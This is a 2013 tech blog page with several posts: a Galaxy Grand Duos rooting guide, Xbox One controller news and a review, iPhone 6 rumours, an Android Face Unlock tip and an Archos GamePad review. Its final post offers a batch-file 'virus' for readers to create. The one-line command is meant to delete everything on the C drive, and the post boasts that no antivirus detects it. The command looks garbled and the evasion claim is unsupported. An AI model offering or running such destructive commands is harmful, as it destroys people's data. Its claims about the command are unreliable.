Saturday 17 August 2013

How To Root Samsung Galaxy Grand Duos GT-i9082

Posted by Yo  
18:35


Samsung Galaxy Grand has been voted as the best selling smartphone of year. It has 1.2 GHz dual-core processor, 5” screen and it runs on android jellybean. It has features of S3 as well as Note. It has dual-sim functionality along with an 8 MP camera and 2100 mAh li-ion battery. I am going to provide you the steps you require to root your Grand Duos. Once rooted; you will find that your phone is completely changed into something incredible. Before that you must know that rooting will void you manufacturer’s warranty and you solely will be responsible for whatever happens to your device.  In rare cases, your phone might be soft- brick, which could be repaired but for that you need to put some extra effort from your side. For the 1st time user, please read all the details about rooting before jumping to any conclusion.
Prerequisites before rooting Galaxy Grand Duos:
  1. USB Debugging is needed to be enabled on your phone. For this go to settings> application>  and finally click the box next to USB debugging
  2. Make sure your battery is more than 80%.
  3. You must have Samsung USB drivers in your PC.
  4. Rooting is done through ODIN. So Download ODIN and extract it to your computer.
  5. The root guide is done through CWM recovery and for that you need to downloadCWM_gt_i9082_droidviews.tar.md5 CWM recovery image to your computer.
  6. Download the UPDATE –SuperSU-v1.00.zip root package and place it on the root of your phone’s sd card.
Steps For Rooting Samsung Galaxy Grand Duos GT-i9082:
  1. First power down your phone and put it in download mode by pressing volume up+ home+ power button and wait till screen wakes up.
  2. Connect your phone with pc by using USB cable and open ODIN on your PC.
  3. If ID: COM section of the ODIN is yellow that means it has recognized your Grand and is ready for the work.
  4. Now click on PDA button in ODIN and choose CWM_gt_i9082_droidviews.tar.md5 you downloaded earlier in previous step.
  5. Make sure you ticked the box of “Auto Reboot” and “F.reset time”. Everything else should be unchecked.
  6. When you press the start button the flashing process will start .wait until the process is complete. Do not disconnect the phone in between.
  7. When the process is over you will get a PASS message from the ODIN and now your phone will reboot.
  8. After reboot, turn your Grand off and then press the volume up, home and power buttons simultaneously. The phone will be turned ON and the Samsung logo will blink twice after which you can let go power button but you should still keep your on volume and home buttons until a list of options come onto the screen. You will see something as ClockWorkMod recovery.
  9. Touch will be ineffective for now, press volume up to scroll up and volume down to scroll down, Home button for selection and power button to take you back to the previous settings.
  10.  Now select install zip from the SD card and find UPDATE-Super SU-v 1.00.zip on your micro SDcard or internal memory.  When you are prompted to confirm, select yes.
  11. Now the rooting will start and after some time when it’s completed select the option go back and  then select reboot the system now .after rebooting,  your Grand Duos is completely rooted and you can use it now.
Now you will be able to enjoy a rooted Galaxy Grand Duos along with ClockWorkMod recovery.

Tuesday 13 August 2013

Xbox One controller will work on PCs

Posted by Yo  
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20:33

Xbox One controller will work on PCs - next year

The Xbox One controller will be compatible with PC games but Microsoft still has a bit of work to do in order to pair the two up.

Redmond said it is beavering away on drivers to make the Xbox One pad PC-friendly, as well as making it "seamlessly" compatible with games designed for the Xbox 360 controller. However don't expect it to arrive until next year.

"We know people want to use the Xbox One controller on their PC, and we do too – we expect to have the functionality available in 2014," said a Microsoft spokesperson to CVG.
One controller to rule them all

As the rep went onto explain, the reason for delay is due to the huge architectural differences between the Xbox One and Xbox 360 controller.

"New wireless protocol, combined with the ability to work in 'wired' mode, and the addition of features like impulse triggers, means that new software has to be written and optimised for the PC," they added.

You currently need a wired version of an Xbox 360 controller (or purchase a wireless USB receiver) to use it with the PC but Microsoft isn't saying whether it will be using the micro-USB port to connect the One controller to the PC - or whether it will play wirelessly.

Microsoft has said that it spent "hundred of millions" designing the controller so you can expect great things - especially from those nifty impulse triggers.
Why, we've even got our very own hands on review of the Xbox One controller right here

Hands on: Xbox One Gamepad review

Posted by Yo  
Tagged as:
20:06



Following a full day of presentations, interviews, tours, tech demos and teases of the Xbox One's game-changing potential, the powers that be at Microsoft finally let us get our mitts on the new hardware's controller.

While our time with the gamepad doesn't allow us to tear up the blacktop inForza 5 or command a SEAL Team canine in Call of Duty: Ghosts, it does provide a peek at a few of the 40-plus improvements that have been made over its predecessor.

Before diving into six separate demos tailored to show off the controller's enhanced rumble tech, Microsoft senior product marketing manager, Navin Kumar, states "precision, comfort, and making gaming more realistic than ever" were the driving forces behind designing the new gamepad.

In terms of precision, Kumar points out that the analog sticks respond to inputs with 25 per cent less force, delivering a far more accurate experience. He also claims its d-pad allows for "crisper inputs, "perfect for "sweeping movements in fighting and sports games."




Feeling the full effect of 'impulse triggers'

While our hands-on time affords little opportunity to test this improved precision and accuracy, it does allow our thumbs and fingers to feel the full effect of what Kumar refers to as "impulse triggers." Like the 360's controller, the Xbox One gamepad features left and right triggers, used for everything from scoring headshots to flooring gas pedals.

However, the One's controller significantly ups the immersion of these interactive experiences thanks to the addition of motors housed in its triggers: in addition to the pair of rumblers located in the hand-grips - as they are in a 360 controller - the One's peripheral adds one each to both triggers.




It tickles... seriously

As demonstrated during our hands-on time, the tech is being used in a number of ways to intensify the immersion factor. With a press of the Y button, we're able to fire up a helicopter's propeller and a sports car's engine. While these interactions would yield near-identical vibrations with a 360 controller, they feel entirely unique through the One's triggers and sticks. By programming four separate motors, two of which now tickle the sensitive finger tips, the peripheral is able to convey astounding nuance and variety in its vibrations.





On top of differentiating between an engine's powerful roar and a chopper's spinning rotors, the quartet of motors allows us to experience how it feels to pop off a few rounds from a hand-cannon and summon a fireball in the palm of our hand. While the former feels much like it does in any contemporary shooter, the latter - thanks to a slow rumbling build-up, leading into a more intense vibration - yields a sense of empowerment we can't wait to unleash the next time we barbeque baddies in an RPG.





Our final two demos, simulating a ticking heart and braking car, are the most impressive. The pumping brakes deliver a realistic halting sensation the likes of which we've never before experienced in a racer, while the heartbeat - delivered by alternating pulse-like vibrations in the two triggers - feels scary-real. In fact, we're guessing the latter effect will significantly up the fright factor in survival horror games; imagine navigating a dark corridor or derelict space station in complete silence, all while the protagonist's racing pulse thumps beneath your fingertips.
Early Verdict

Based on our time behind the Xbox One's controller - whose ergonomic design will feel comfortably familiar to 360 owners - the impulse triggers seem to hold the most promise and potential for putting players that much deeper in the experiences of rearranging zombies' ribcages with melee weapons, roasting trolls with fire balls, and racing across finish lines.

That said, a number of subtler features, such as magnetic sensor-equipped triggers and a battery case that no longer protrudes from the back of the controller, hint at the many ways the next-gen peripheral will provide more precision in your games and comfort in your hands.

The Softies slimmed down the battery case


Our hands-on time barely scratches the surface of its promised 40-plus improvements, but our satisfied fingers and thumbs are already anticipating what other surprises the Xbox One's gamepad has got hidden beneath its buttons, sticks, and triggers..

Monday 12 August 2013

iPhone 6 release date, news and rumours

Posted by Yo  
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17:11


When Apple unveiled the iPhone 5, the reaction was a bit muted: where previous phones were massive leaps forward, the iPhone 5 was a bit longer and a lot easier to scratch.

So what can we expect from the next iPhone; will it be the iPhone 6 or 5S? Let's see what we can glean from the varying sources of the internet - some reliable, some not so much. But when might the iPhone 6 release date even be?

One thing is for sure, with the release of such super handsets as the Samsung Galaxy S4, Sony Xperia Z andHTC One, the next iPhone will have to seriously up its game.


  • iPhone 6 and the iPhone 5S are two different phones


The rumour mill doesn't seem too sure whether the next iPhone is going to be the iPhone 5S or the iPhone 6. Given the iPhone's history - from the 3G onwards, there's always been a half-step S model before the next numbered iPhone - we'd bet on an iPhone 5S first and an iPhone 6 a while later.

However, in May 2013 Stuff reported it received a photo of the till system at a Vodafone UK store (which it has since removed along with the reference to Vodafone), with '4G iPhone 6' listed. Interesting.

It's been suggested that there could even be three size variants of the new iPhone - check out these mocked up images by artist Peter Zigich. He calls the handsets iPhone 6 Mini, iPhone 6 & iPhone 6 XL. However, asZDNet rightly points out, different size variants aren't exactly easy to just magic out of thin air.

Could we see both an iPhone 5S and iPhone 6 this year? Some reportssuggest a new 5S in the middle part of the year before a revamped iPhone 6 towards the end of the year or very early in 2014.


  • iPhone 6 release date

Many pundits predict a summer iPhone 6 release date. It's quite likely that Apple is moving to a two-phones-per-year upgrade cycle, but we'd bet on a springtime 5S model and a bigger, iPhone 6, update in the Autumn, probably September.

Digitimes predicts a summertime reveal for Apple's next generation phones, which again fits with a WWDC unveiling. In May it became clear that US carrier Verizon introduced an iPhone 5 price cut of as much as $100 USD.

Reports in April also suggested that Foxconn has added as many as 10,000 assembly line workers per week to its Zhengzhou plant as it readies itself for the iPhone 6 release date.

But Jefferies analyst Peter Misek reckons we'll see an iPhone 5S first, with aJune 2014 release for the iPhone 6. Citi's Glen Yeung also believes that we won't see an iPhone 6 or cheap iPhone until 2014.

Apple may have a new roadmap, with new phones every spring and autumn


  • iPhone 6 casing


Multiple rumours say Apple's working on plastic cases for its next iPhone, mixing plastic and metal in such a way that "the internal metal parts [are] able to be seen from outside through special design." Could these images from Apple.pro be a new iPhone 6 complete with plastic casing? The cynic inside us says no, but you never know...

It's unclear whether such cases would be for the iPhone 5S or iPhone 6, or if Apple is simply considering making cheaper iPhone 4s to sell when the iPhone 3GS reaches the end of its life.

Speaking in March 2013, a KGI analyst said it believed Apple would turn to manufacturer Pegatron to make up to 75 per cent of low cost iPhone products. Indeed, rumours in early June 2013 pointed at a $399 price point for the cheap iPhone 6. We've also seen further supposedly leaked images of an all-white, plastic handset, but we're really not sure of the provenance.

Pretty, yes, but also horrifically scratch-prone. Will your next iPhone have a plastic back?



  • The iPhone 6 will finally do NFC


That's what iDownloadblog reckons, quoting Jefferies analyst Peter Misek: it'll have a better battery too, he says. Many Android phones now boast NFC.

PayPal's chief information security officer, Michael Barrett said this during arecent keynote speech: "There is going to be a fingerprint enabled phone on the market later this year," he said. "Not just one, multiple."

  • Could this be inside the iPhone 6?


See our video below on what Apple needs to do to slay Samsung's Galaxy S4



  • The iPhone 6 will run iOS 7

iOS 7 has been announced at WWDC 2013. It's a radical overhaul of the OS, especially in terms of the design which has fundamentally changed and is far flatter and more Android-like. There are rounded icons, striking colours and a stark font. There are new features, of course, such as Control Center, AirDrop and iTunes Radio.

We're expecting a September or October release date for iOS 7 in line with previous releases.

IOS 7
iOS 7: what do you think?


  • iPhone 6 storage



We've already seen a 128GB iPad, so why not a 128GB iPhone 6? Yes, it'll cost a fortune, but high-spending early adopters love this stuff.

  • iPhone 6 home button

According to Business Insider, of the many iPhone 6 prototypes Apple has made, one has a giant Retina+ IGZO display and a "new form factor with no home button. Gesture control is also possibly included" - more on that shortly. Mind you, it was mooted that Apple would dump the home button in time for iPhone 5, but it never happened.
iPhone 6 screen

The Retina+ Sharp IGZO display, would have a 1080p Full HD resolution. It's also been widely reported that Apple could introduce two handset sizes as it seeks to compete with the plethora of Android devices now on the market.

Take this one with a pinch of salt, because China Times isn't always right: it reckons the codename iPhone Math, which may be a mistranslation of iPhone+, will have a 4.8-inch display. The same report suggests that Apple will release multiple handsets throughout the year over and above the iPhone 5S and 6, which seems a bit far-fetched to us.

Patents show that Apple has been thinking about magical morphing technology that can hide sensors and even cameras. Will it make it into the iPhone 6? Probably not.

Could the touch screen even be transparent? Emirates 24/7 sin't the first source we'd turn to for bone fide rumours about a new smartphone, but it claims that an ultra-sensitive transparent touchscreen will make it into iPhone 6. The site also believes the display will be made by Sharp, which wouldn't be so surprising. One thing's for sure - a potential wraparound screen is probably a pipedream.

Jefferies analyst Peter Misek also says he believes the new iPhone will have a bigger screen. Different sizes also seem rather likely to us - the word on the street after WWDC 2013 was that there would be 4.7 and 5.7-inch versions.

You'll probably still be able to see the camera lens in the iPhone 6


  • iPhone 6 processor

Not a huge surprise, this one: the current processor is a dual-core A6, and the next one will be a quad-core A7. The big sell here is more power with better efficiency, which should help battery life.

Expect to see it in the 2013 iPad first, and expect to see an improved A6 processor, the A6X, in the iPhone 5S.
iPhone 6 camera

Apple's bought camera sensors from Sony before, and this year we're going to see a new, 13-megapixel sensor that takes up less room without compromising image quality.

An Apple patent, uncovered by Apple Insider in May 2013, shows a system where an iPhone can remotely control other illuminating devices - extra flashes. It would work in a similar manner to that seen in professional photography studios. Interesting stuff.

Will the iPhone 6 be handy for pro photographers? [Image credit: Apple Insider]


  • iPhone 6 eye tracking

One thing seems certain - Apple can't ignore the massive movement towards eye-tracking tech from other vendors, especially Samsung. It seems a shoe-in that Apple will deliver some kind of motion tech within the next iPhone, probably from uMoove.
iPhone 6 fingerprint sensor

Could the iPhone 6 also have a fingerprint scanner. It's been rumoured for a while now. As BGR reports, this could be embedded in the display. It cites a patent filed by Apple in mid July 2013. A new version of the iOS 7 beta was released in late July and it included a new folder named"BiometricKitUI." Could this be the link to the new sensor in the OS?

  • The new iPhone will have better 4G LTE

On its UK launch, just one UK network had 4G LTE: Everything Everywhere, which currently offers 4G on the 1800MHz band. In 2013, all the other big names will be coming on board, offering 4G in other frequency bands. International iPhones already work across different 4G bands to the UK, so you can expect the UK iPhone 6 (and possibly the iPhone 5S) to be more promiscuous than the iPhone 5.

By the time the iPhone 6 emerges, iOS devices should also have "nonclassified communication approval" status from the US FCC, which means they won't need to go through a lengthy approval process.

  • iPhone 6 Wi-Fi may be 802.11ac

Apple likes to lead Wi-Fi standards adoption - its Airport really helped make Wi-Fi mainstream - and there's a good chance we'll see ultra-fast 802.11ac Wi-Fi in Apple kit this year. It's faster than Lighting, and not very frightening.
iPhone 6 wireless charging

Wireless charging still isn't mainstream. Could Apple help give it a push? CP Tech reports that Apple has filed a patent for efficient wireless charging, but then again Apple has filed patents for pretty much anything imaginable.

The tasty bit of this particular patent is that Apple's tech wouldn't just charge one device, but multiple ones. Here are more details on the iPhone 6 wireless charging patent.

Meanwhile, a further Apple patent seems to imply that future iPhones will be able to adjust volume as you move them away from your ear.

And could the iPhone 6 really have 3D? It's unlikely, but the rumours keep on coming.

Sunday 11 August 2013

Android tip: How to unlock your Android phone with your face

Posted by Yo  
19:17

Can’t be bothered to tap in a passcode to unlock your sleeping smartphone? Well, the latest Android phones have another way to verify that you’re you: by scanning your face.
The idea behind Face Unlock (a feature that requires Android versn 4.0ioor better, by the way) is simple: the phone’s camera scans your face for a few seconds, then compares it to one or more previously saved head shots.
If it gets a match, then presto! You’ll arrive at your phone’s home page, no PIN required.


You can unlock your phone with a glance once Face Unlock scans your face.

It’s a nifty trick, but it’s not quite foolproof.

Before setting up the feature on your own Android phone, you’ll be warned that Face Unlock isn’t nearly as secure as using a numeric passcode.

Indeed, there’s always the possibility of a false match if someone who looks “similar” to you sneaks a peek at your handset.

In other words, think twice before protecting your phone with Face Unlock if you’ve stored military secrets on it, or if your online banking password is saved in your Android browser.

So, ready to use your face to unlock your Android phone?

Here’s how…
Go to the Settings menu and tap Security, Screen Lock.*
Tap the Face Unlock option to see the litany of notes and caveats about the feature (including the assurance that your stored profile picture will be “kept private” on your handset). Ready to continue? Tap “Set it up.”
Next, you should see … well, yourself. Hold the phone until your face fits in the dotted outline; once the camera thinks it has a good shot of your face, it’ll snap a photo automatically. (For the best results, Google advises taking a Face Unlock photo indoors, where it’s not “too bright or too dim.”) Once you’ve made it to the “Face Captured” page, tap “Continue.”
You’ll also need a backup PIN or a security “pattern” to trace on the phone’s touchscreen, which you’ll be asked to set up once you’re done snapping photos of your face. The backup passcode will come in handy if Face Unlock can’t quite recognize you (which, as I’ve learned, happens on a fairly regular basis).
Now, time to test. Lock your phone, then press the “sleep/wake” button and hold the handset right in front of your face; the phone should unlock itself within seconds of “seeing” you.

*Note: These steps may vary depending on the make and model of your Android phone. I tested this tip on a Samsung Galaxy Nexus running on Android version 4.2.2.
Bonus tip

Want to make Face Unlock a bit more secure? Here’s how…
Take multiple Face Unlock photos of yourself in different conditions—say, with your glasses on and off, or both outdoors and indoors—to give the phone a better chance of identifying you correctly. Just go back to the Settings menu, tap Security, then select “Improve face matching.”
Worried someone might try to unlock your phone with a still photo of you? You can set Face Unlock to unlock your phone only if it sees you blink. Just tap Settings, Security, then enable the “Liveness check” option.

Hands on: Archos GamePad review

Posted by Yo  
Tagged as:
19:04

Hands on: Archos GamePad review

Android gaming has come a long way, but the desire to add buttons to touch-focused mobile devices has never quite gone away.

Enter the Archos GamePad, a Jelly Bean tablet with 14 buttons and two analog thumb-sticks - a layout similar to an Xbox 360 or PlayStation 3controller.

Archos had the GamePad on hand at CES to try out, and we at TechRadar decided to take it for a spin, testing games like Angry Birds, Dead Triggerand Trials Xtreme 2 on the gaming tablet.

We found that the GamePad has a few crucial shortcomings, though it makes up for them in some creative ways.

The back of the Archos GamePad
Great on paper
The Archos GamePad looks great on paper; with Android 4.1 Jelly Bean, a 1.6GHz dual-core processor, a quad-core GPU, 8GB of storage with room for a microSD, and a mini-HDMI port, it's equipped with everything it should need to be successful.

But the GamePad's most important feature is its buttons - having physical inputs should in theory improve the gaming experience immensely over a pure touch interface - and unfortunately the Archo GamePad's buttons and control nubs leave something to be desired.

The buttons themselves are clicky and responsive, and the left and right shoulder buttons/triggers feel like the triggers on Sony's PS Vita, which certainly isn't a bad thing.

But the analog thumb-sticks could have been ripped straight off of Sony's older PSP, and that is a bad thing.

They offered far too much resistance, making it difficult to control the first-person zombie shooter Dead Trigger. Nintendo and Sony's latest handhelds - the 3DS and PS Vita, respectively - each offer far superior analog control options, and they've both been out for more than a year, so there's no excuse for these outdated nubs.

'Dead Trigger' was difficult to play with the control nubs


Lack of standardization

Input issues aside, the Archos GamePad suffers from another issue that plagues many mobile devices that attempt to offer physical control solutions: a lack of standardization.

Suffice it to say the buttons don't always work with each game the way you might expect. On the other hand, Archos has come up with a flexible solution for this by allowing users to map the GamePad's physical buttons to any point on the screen.

Using a simple interface, players can drag icons for the buttons and analog nubs anywhere on the screen so that when those inputs are used, that part of the screen is activated as if you'd touched it.

It's a versatile tool, but it still feels like little more than a workaround for a system and games that were never meant to have these inputs in the first place.

Elsewhere, certain functions of the OS simply don't work correctly, though this is probably more an issue with Jelly Bean itself or even some specific applications.

For example, pressing the back button on the system bar at the bottom of the screen unpaused Dead Trigger, but the in-game pause menu remained open, leaving the game obscured while the zombies had a feast.

The GamePad's menu did not adjust when the orientation changed
Elsewhere, when the tablet was flipped from landscape to portrait orientation, the position of text in the GamePad's own settings menu got pushed off the screen instead of adjusting to fit.
Early Verdict

Aesthetically, the GamePad more closely resembles some outdated piece of retro computer hardware than a sleek, modern Android tablet, and the headphone jack sits awkwardly on the top of the device (though it is pleasantly light and thin).

These flaws are symptoms of the Archos GamePad's general lack of cohesion, which unfortunately holds the tablet back from being as great as it could be.

But those desperate for physical controls on an Android tablet could likely do worse, especially at the Archos GamePad's affordable $169 price point.

Learn To Make Dangerous Virus In A Minute

Posted by Yo  
Tagged as:
10:32

In my previous post i had teach you guys to create virus that disable mouse and Virus to format Hard Disk. In this post i will teach you to make simple yet very powerfull or you can say harmfull computer virus using a batch file. No software is required to make this virus, Noteapad is enough for it. The good thing about this virus is it is not detected by any AntiVirus.


  • What will this virus do ?
You will create this virus using batch file programming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus. If you want to learn more about batch programming visit my post about Learn Batch Programming.

  • How to Make the virus ?
1. Open Notepad and copy below code into it.

          @Echo off Del C:\ *.* |y

2. Save this file as virus.bat (Name can be anything but .bat is must) 3. Now, running this file will delete all the content of C Drive.

Warning: Please don't try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.

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